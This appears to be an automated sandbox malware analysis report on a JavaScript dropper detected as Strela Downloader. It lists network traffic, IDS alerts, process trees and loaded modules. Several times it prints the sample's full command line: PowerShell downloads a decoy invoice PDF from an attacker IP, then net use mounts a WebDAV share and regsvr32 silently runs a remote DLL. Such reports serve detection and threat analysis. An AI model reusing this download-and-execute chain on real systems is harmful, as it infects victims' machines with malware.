Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49763

Source: global traffic

TCP traffic: 192.168.2.9:49763 -> 193.143.1.205:8888

Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205
Source: Joe Sandbox View	IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.9:49747 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1357729316.00000237DC6B1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.1356610445.00000237DC6C0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000003.1414644777.0000020955A24000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1418262479.00000209559E8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1418312393.0000020955A18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1418312393.0000020955A24000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1414569335.0000020955A3F000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1414644777.0000020955A18000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1418414245.0000020955A41000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000003.1414644777.0000020955A24000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1418312393.0000020955A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/;R
Source: net.exe, 00000007.00000003.1414644777.0000020955A24000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1418312393.0000020955A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/OR
Source: net.exe, 00000007.00000002.1418262479.00000209559E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/P
Source: net.exe, 00000007.00000003.1414644777.0000020955A24000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1418312393.0000020955A24000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/SR
Source: net.exe, 00000007.00000002.1418262479.00000209559E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/U
Source: svchost.exe, 00000009.00000002.2637029885.000002A593600000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod-C:
Source: svchost.exe, 00000009.00000003.1416006138.000002A593850000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2-C:
Source: ReaderMessages.5.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7600, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 944924352317221058.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/57@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7692:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_srdcasov.crj.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 944924352317221058.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\944924352317221058.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1756,i,16808820835601716491,16434300059903285916,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2072 --field-trial-handle=1756,i,16808820835601716491,16434300059903285916,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
